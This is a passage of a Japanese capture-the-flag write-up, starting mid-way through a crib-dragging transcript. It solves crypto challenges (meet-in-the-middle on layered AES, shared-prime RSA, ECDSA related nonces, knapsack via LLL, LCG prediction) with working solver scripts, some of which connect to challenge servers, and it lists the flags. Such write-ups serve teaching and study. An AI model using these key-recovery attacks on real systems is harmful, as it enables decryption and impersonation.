39: "{"
*** 40: "C"
*** 41: "w"
*** 42: "t"
Enter the correct position, 'none' for no match, or 'end' to quit: 42
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_db____
40	__}
Your key is currently:
0	this_is_not_the_real_flag,so_try_to_____
40	__t
Please enter your crib: find_
*** 0: "sbdrs"
*** 1: "mcxHE"
2: "lB~H"
*** 3: "pEtse"
4: "Jsy^_"
5: "|~TdY"
*** 6: "qSnbN"
7: "\ihud"
8: "fo_P"
9: "`xUkY"
10: "wRab	"
11: "]fh2v"
12: "io8M"
13: "`?G%H"
14: "0@/sa"
15: "O(yZA"
16: "'~Pz3"
17: "qWL"
18: "Xww"
"9: "x}=
20: "
z76g"
21: "u0<\"
22: "?;V<D"
23: "4Q6"
24: "^1u8_"
25: ">r2d@"
26: "}5n{"
27: ":iq%_"
28: "fv/d5"
29: "y(nt"
30: "'iOT"
31: "fEob"
32: "
     BeY
        "
*** 33: "MbS7S"
34: "mT=h"
35: "[:b?Y"
*** 36: "5e5ba"
*** 37: "j2hZU"
38: "=oPnV"
Enter the correct position, 'none' for no match, or 'end' to quit: 36
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_db5e5b
40	a_}
Your key is currently:
0	this_is_not_the_real_flag,so_try_to_find
40	__t
Please enter your crib: it
0: "|"
1: "b~"
*** 2: "cb"
3: "X"
*** 4: "En"
*** 5: "sc"
6: "~N"
*** 7: "St"
*** 8: "ir"
*** 9: "oe"
*** 10: "xO"
11: "R{"
*** 12: "fr"
*** 13: "o""
14: "?]"
15: "@5"
16: "(c"
17: "~J"
*** 18: "Wj"
19: "w"
20: "g"
21: "z-"
22: "0&"
*** 23: ";L"
*** 24: "Q,"
*** 25: "1o"
26: "r("
*** 27: "5t"
*** 28: "ik"
*** 29: "v5"
30: "(t"
31: "i"
32: "_"
33: "B"
*** 34: "bI"
*** 35: "T'"
*** 36: ":x"
37: "e/"
*** 38: "2r"
*** 39: "oJ"
40: "W~"
41: "c}"
Enter the correct position, 'none' for no match, or 'end' to quit: 41
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_db5e5b
40	ac}
Your key is currently:
0	this_is_not_the_real_flag,so_try_to_find
40	_it
Please enter your crib:
accessdenied{n3v3r_r3u53_th3_k3y5_db5e5bac}

MITM-2 (Crypto)

それぞれサーバの処理概要は以下の通り。

【Alice】
・msg = b"here_is_my_code!"
・keys = [ b'XXXXXXXXXXXXXXXX', b'XXXXXXXXXXXXXXXX' ]
 ※md5(os.urandom(3)).digest()で生成
・private_key: Aliceの秘密鍵
・public_key: pow(g, private_key, p)
 →表示
・key: 自分の公開鍵を入力(0, 1, p-1はNG)
・aes_key = md5(unhexlify(hex(pow(key, private_key, p))[2:])).digest()
・keysにaes_keyを追加
・encrypted_msg = encrypt(msg, keys, b"A"*16, b"B"*16)
 ・m: msgをパディング(ランダム文字列をパディング)
 ・ciphers: [AES-ECB(keys[0]), AES-CBC(keys[1], iv=b"A"*16), AES-CBC(keys[2], iv=b"b"*16)]
 ・c = m
 ・ciphersの各要素でmを順に重ねて暗号化
・encrypted_flag = encrypt(flag[:32], keys, b"A"*16, b"B"*16)
・encrypted_msg、encrypted_flag 表示

【Bob】
・keys = [ b'XXXXXXXXXXXXXXXX', b'XXXXXXXXXXXXXXXX' ]
 ※md5(os.urandom(3)).digest()で生成
・msg = b"thank_you_here_is_remaining_part"
・private_key: Bobの秘密鍵
・public_key: pow(g, private_key, p)
 →表示
・key: 自分の公開鍵を入力(0, 1, p-1はNG)
・aes_key = md5(unhexlify(hex(pow(key, private_key, p))[2:])).digest()
・keysにaes_keyを追加
・code: 入力
・decrypted_code = decrypt(unhexlify(code), keys, b"A"*16, b"B"*16)
・decrypted_code[:32] と flag[:32]が一致していたら、以下を実行
 ・encrypted_msg = encrypt(msg, keys, b"A"*16, b"B"*16)
 ・encrypted_flag = encrypt(flag[32:], keys, b"A"*16, b"B"*16)
 ・encrypted_msg、encrypted_flag 表示

まずAlice側のmsgの暗号化の結果からブルートフォースで鍵を割り出す。msgのkeys[0]によるAES-ECB暗号化と、encrypted_msgのaes_keyで復号したもののkeys[1]によるAES-CBC復号が同じになるものを探す。なお、keyにgの値を指定すれば、以下が成り立つので、aes_keyを算出することができる。

aes_key = md5(unhexlify(hex(public_key)[2:])).digest()

鍵を割り出せば、flag[:32]を復号することができる。
次にBob側でもkeys[0]、keys[1]が同じ値と仮定して進める。keyにgの値を指定することにより、Bob側のaes_keyを算出する。Alice側のencrypted_flagの先頭32バイトをAlice側のaes_keyで復号し、Bob側のaes_keyで暗号化しなおすことによって、Bob側のencrypted_flagを入手する。あとは、key[0]~key[2]がわかっているので、復号すれば、flag[32:]になる。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from binascii import hexlify, unhexlify
from hashlib import md5
from itertools import product
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

msg = b'here_is_my_code!'
g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.123.4.102', 4000))

data = recvuntil(s, b'\n').rstrip()
print(data)
public_key = int(data.split(' ')[-1])

data = recvuntil(s, b': ')
print(data + str(g))
s.sendall(str(g).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
encrypted_msg = unhexlify(eval(data.split(' ')[-2]))[:16]
encrypted_flag = unhexlify(eval(data.split(' ')[-1]))[:32]

aes_key_alice = md5(unhexlify(hex(public_key)[2:])).digest()
cipher2 = AES.new(aes_key_alice, mode=AES.MODE_CBC, iv=b'B' * 16)
encrypted_msg = cipher2.decrypt(encrypted_msg)

cts = {}
for c in product(range(256), repeat=3):
    k0 = bytes([c[0]]) + bytes([c[1]]) + bytes([c[2]])
    key0 = md5(k0).digest()
    cipher0 = AES.new(key0, mode=AES.MODE_ECB)
    ct = cipher0.encrypt(msg)
    cts[ct] = key0

for c in product(range(256), repeat=3):
    k1 = bytes([c[0]]) + bytes([c[1]]) + bytes([c[2]])
    key1 = md5(k1).digest()
    cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16)
    pt = cipher1.decrypt(encrypted_msg)
    if pt in cts:
        key0 = cts[pt]
        break

print('[+] keys[0]:', key0)
print('[+] keys[1]:', key1)
print('[+] keys[2]:', aes_key_alice)

cipher0 = AES.new(key0, mode=AES.MODE_ECB)
cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16)
cipher2 = AES.new(aes_key_alice, mode=AES.MODE_CBC, iv=b'B' * 16)
flag1 = cipher2.decrypt(encrypted_flag)
flag1 = cipher1.decrypt(flag1)
flag1 = cipher0.decrypt(flag1).decode()
print('[+] flag1:', flag1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.123.4.102', 8000))

data = recvuntil(s, b'\n').rstrip()
print(data)
public_key = int(data.split(' ')[-1])

aes_key_bob = md5(unhexlify(hex(public_key)[2:])).digest()
cipher_alice = AES.new(aes_key_alice, mode=AES.MODE_CBC, iv=b'B' * 16)
cipher_bob = AES.new(aes_key_bob, mode=AES.MODE_CBC, iv=b'B' * 16)
code = cipher_alice.decrypt(encrypted_flag)
code = cipher_bob.encrypt(code).hex()

data = recvuntil(s, b': ')
print(data + str(g))
s.sendall(str(g).encode() + b'\n')
data = recvuntil(s, b': ')
print(data + code)
s.sendall(code.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
encrypted_flag2 = unhexlify(eval(data.split(' ')[-1]))

cipher0 = AES.new(key0, mode=AES.MODE_ECB)
cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16)
cipher2 = AES.new(aes_key_bob, mode=AES.MODE_CBC, iv=b'B' * 16)
flag2 = cipher2.decrypt(encrypted_flag2)
flag2 = cipher1.decrypt(flag2)
flag2 = cipher0.decrypt(flag2)
flag2 = flag2[:flag2.index(b'}') + 1].decode()
print('[+] flag2:', flag2)

flag = flag1 + flag2
print('[*] flag:', flag)

実行結果は以下の通り。

> Here is my public key: 119411071723122444381767470125626227123727573250251216315907714124627930184475306091652961747380924296747933021923661790680670240155231816516457033069067832914869305822175715488571133446537348467810750635631617119618614773943953032009463487011337635599632404459399646451549811120239365019103442516813610951801
> Your public key: 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977
> Your output: b'0923dc6a3433a89a73b6381230bc88b16fe6b5425fc1ba76e607492f2442677e' b'eafe54520e64f7b5913c76c471d215711e2760073a68339fe548876a406243efd009e25fc366078d8bc295a1251d103c'
[+] keys[0]: b'\xe6\xc0\xde\xc1\xe4{\x16J\xe1\x98\x10\xcb\xe3*\x15\xa8'
[+] keys[1]: b'\xf4F\xe5\xb5\xa8H\xa2\xd0\xb1g\xc2&B\xea\xd4\x9b'
[+] keys[2]: b'\xaf\xb3\x03\xa3j\x96\x1e\x88(f)M0\tgO'
[+] flag1: accessdenied{m4n_1n_th3_m1ddl3_4
> Here is my public key: 40595252360241388289026322523804296719193626569779778799622242724916591034484779950923843218836200063079971977052451558576275835257579001823217941624228065248765313874759534608569366171847652834851759226823394299165109937870382024277651319709551109061342308442284963681389013259877806922522157082814880149336
> Your public key: 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977
> Give me the code(encrypted hex): ea1f10c77d31d60bc9ebdc544df19daf98aa59d4f77dea6e1a9fc2e1ec17ec62
> Your output: b'5d6ec4cb930c9d46181c0b77421d5f05ca82d6b823a5278d17eed70bb8ef445d2613eaf67c6c32e240ef4837f5852aee' b'5f64ba84dfb873557b84ab19ff1ef1ffcc34805f9f580db5ed5e7f9c7787e2e3ca3dae232e595f8cdbf2d0a4c342fa10'
[+] flag2: nd_m33t_1n_th3_m1ddl3!_931a52e4}
[*] flag: accessdenied{m4n_1n_th3_m1ddl3_4nd_m33t_1n_th3_m1ddl3!_931a52e4}
accessdenied{m4n_1n_th3_m1ddl3_4nd_m33t_1n_th3_m1ddl3!_931a52e4}

RSA-3 (Crypto)

N1とN2の公約数を求めれば、素因数分解でき、復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

N1 = 18266349196400324728796632198426724065863341515460128017379722167088811564142208540762217975696666190887534687486334974478770458134458646785682182438231047535912495200486295399237083743354006572775979196273345894016812147421648391560534928953791045301656072851030393661346227010573392017192092871743599780733618974144278058844414678104713310777338685821340236864598500469843212331330335171804328016140678014295178395686821469446312308097781506852568269309368807576215036130913554259546509277614896420588483929704110258122427731934119749960465772609969329231395097168664992720797902433454838999670183197496533599372453
e1 = 65537
ct1 = 6873813036805706192019236826822502457972771100457517090756917047060847774848540323350759250580238758998913544271128101335276213320240302206398066922772200444602226203653559017733029810367927075606003863202964202725297461799495530697341270915140044964898303984854574497628349362668695378519684693264593494716972185326436905495762497116849607924837994943127697112124217181161062684698865533001086211217060178202980704668203486578672364578669469712587269077695001297138207491663356223994825422557742042083843727850238507161657755737436196961552942941154267260840237025593539923533367161391402240798650010287812581011106

N2 = 24659767524526013018768938973883991511377669248630968999008468264428208747461052247749924232027616129566843290411914770222062361142014390330463814302544910044772535448949923181736285951382305617780092296934319600643083108399436503551987425616568398265868184384255524744326852580109993750455923648308457300741311644056806840080239266629430170801800674692923486070263947659308964150022391540089059138911526148899685247042835949241530880572488161927637699425020944697998483747469309576045917038431425710502056969197916002745593176785614139365197372746789456581367558816039809574657471032143676431357391125588624599050493
e2 = 65537
ct2 = 11715772208083492702167997175167454009301340692399196360593824415816062365292031273728996255749695189978948242292097965040268601546052250584302206331424224398934005270192769085862845465718216946900897219973683677713043297722976307588263004621450861659350169718646844558379707749844428304916965303036455448719228506667752535085465025614399994834368259311922477097878143154258042140694172977284700008301528490157090476538427961683829505682126281348126157784828204887638985638647829395157101409725453166939388563809584382420835218557337222313577592617066209235421605768519128885685600282422644017925260843832358253267634

p = GCD(N1, N2)
q1 = N1 // p
q2 = N2 // p
phi1 = (p - 1) * (q1 - 1)
phi2 = (p - 1) * (q2 - 1)
d1 = inverse(e1, phi1)
d2 = inverse(e2, phi2)
m1 = pow(ct1, d1, N1)
m2 = pow(ct2, d2, N2)
flag1 = long_to_bytes(m1).decode()
flag2 = long_to_bytes(m2).decode()
flag = flag1 + flag2
print(flag)
accessdenied{r3us31ng_5tuff_1s_n0t_f0r_crypt0gr4phy_69c36434}

ECC (Crypto)

3個のシグネチャの関係を式にする。

msg1 = b"crypto means cryptography"
msg2 = b"may the curve be with you"
msg3 = b"the annoying fruit equation"
m1: msg1のsha256ハッシュ値を数値化
m2: msg2のsha256ハッシュ値を数値化
m3: msg3のsha256ハッシュ値を数値化

s1 = pow(k, -1, n) * (m1 + r1 * d) % n
s2 = pow(k + 1, -1, n) * (m2 + r2 * d) % n
s3 = pow(k + 2, -1, n) * (m3 + r3 * d) % n
        ↓
k * s1 % n = (m1 + r1 * d) % n
(k+1) * s2 % n = (m2 + r2 * d) % n
(k+2) * s3 % n = (m3 + r3 * d) % n
        ↓
k * (k + 2) * s1 * s3 % n = (m1 + r1 * d) * (m3 + r3 * d) % n
(k + 1) ** 2 * s2 ** 2 % n = (m2 + r2 * d)**2 % n
        ↓
k * (k + 2) * s1 * s2**2 * s3 % n = (m1 + r1 * d) * (m3 + r3 * d) * s2**2 % n
(k + 1) ** 2 * s1 * s2**2 * s3 % n = (m2 + r2 * d)**2 * s1 * s3 % n
        ↓
s1 * s2**2 * s3 % n = ((m2 + r2 * d)**2 * s1 * s3 - (m1 + r1 * d) * (m3 + r3 * d) * s2**2) % n

剰余環nの上で、dの2次方程式になる。sageで解き、フラグの形式に合うものを探す。

#!/usr/bin/sage
import tinyec.registry as reg
from hashlib import sha256
from Crypto.Util.number import *

def hashInt(msg):
    h = sha256(msg).digest()
    return int.from_bytes(h, 'big')

msg1 = b'crypto means cryptography'
msg2 = b'may the curve be with you'
msg3 = b'the annoying fruit equation'

m1 = hashInt(msg1)
m2 = hashInt(msg2)
m3 = hashInt(msg3)

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

sig1 = eval(params[0].split(' = ')[1])
sig2 = eval(params[1].split(' = ')[1])
sig3 = eval(params[2].split(' = ')[1])
r1, s1 = sig1
r2, s2 = sig2
r3, s3 = sig3

C = reg.get_curve("secp256r1")
n = C.field.n

PR.<d> = PolynomialRing(Zmod(n))
f = (m2 + r2 * d)^2 * s1 * s3 - (m1 + r1 * d) * (m3 + r3 * d) * s2^2 - s1 * s2^2 * s3
f = f.monic()
coeff = f.coefficients(d)
a = coeff[-1]
b = coeff[-2]
c = coeff[-3]

discriminant = b^2 - 4 * a * c
discriminant_root = Mod(discriminant, n).sqrt()
ds = []
for i in [-discriminant_root, discriminant_root]:
    d = (((- b + i) % n) * inverse(2, n)) % n
    flag = long_to_bytes(int(d))
    if flag.startswith(b'accessdenied{'):
        print(flag.decode())
        break
accessdenied{ECDSA_w34k_RNG}

Merkle is a good man (Crypto)

Merkle-Hellmanナップサック暗号になっていると思われるので、LLLを使って復号する。

#!/usr/bin/sage
from Crypto.Util.number import long_to_bytes

def is_valid_vector(b):
    if b[0] != 0:
        return False
    for i, x in enumerate(b):
        if i != 0 and abs(x) != 1:
            return False

    return True

with open('enc.txt', 'r') as f:
    ct = int(f.read())

with open('public_key.txt', 'r') as f:
    pubkey = eval(f.read())

matrix_size = len(pubkey) + 1
m_list = [
    [0 for _ in range(matrix_size)] for _ in range(matrix_size)
]

for i in range(matrix_size - 1):
    m_list[i][0] = pubkey[i]
    m_list[i][i + 1] = 2
    m_list[matrix_size - 1][i + 1] = -1

m_list[matrix_size - 1][0] = -ct

llled = Matrix(ZZ, m_list).LLL()

flag_vecs = []
for basis in llled:
    if is_valid_vector(basis):
        flag_vecs.append(basis)

for v in flag_vecs:
    bin_flag = ""
    for _bit in reversed(v[1:]):
        c = ('1' if _bit == 1 else '0')
        bin_flag = c + bin_flag

    flag = long_to_bytes(int(bin_flag, 2)).decode()
    print(flag)
accessdenied{m3rkl3_h3llm4n_crypt0_1s_w34k_095403ff}

Guess The Number (Crypto)

$ nc 35.202.65.196 5337
sh: 1: figlet: not found
Here are all the number you want
195012074203
14191883467
28388869810
237439166524
132603465142
44662723604
232913238347
41041846467
241264749390
151643570371
Guess the 19909 number

乱数アルゴリズムはLCGと推測して、確認する。以下のパラメータで計算は合う。

a = 351047
b = 61417183
m = 322125293417

このことを前提に目的の数字を算出する。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from functools import reduce

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def calc_nth_num(a, b, m, ini, nth):
    num = ini
    for i in range(nth):
        num = (a * num + b) % m
    return num

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.202.65.196', 5337))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

nums = []
for _ in range(10):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    nums.append(int(data))

delta = [d1 - d0 for (d0, d1) in zip(nums, nums[1:])]
m_mul = [d0 * d2 - d1 * d1 for (d0, d1, d2) in zip(delta, delta[1:], delta[2:])]
m = reduce(GCD, m_mul)
a = (delta[1] * inverse(delta[0], m)) % m
b = (nums[1] - a * nums[0]) % m

for i in range(9):
    assert (a * nums[i] + b) % m == nums[i+1]

data = recvuntil(s, b'\n').rstrip()
print(data)
nth = int(data.split(' ')[2])

num = calc_nth_num(a, b, m, nums[0], nth - 1)
print(num)
s.sendall(str(num).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

sh: 1: figlet: not found
Here are all the number you want
197109931075
82132477189
213268602064
230815372719
292152778630
139247158082
106013892704
79654425427
38923933150
219325762927
Guess the 9609 number
14883967319
accessdenied{I_th0ug7_1t_15_3nt1r3ly_r4nd0m_70fe2cfd}
accessdenied{I_th0ug7_1t_15_3nt1r3ly_r4nd0m_70fe2cfd}

Feedback (Misc)

アンケートに答えたら、フラグが表示された。

accessdenied{th4nk_y0u_f0r_y0ur_v4lu3bl3_f33db4ck_27cf5db9}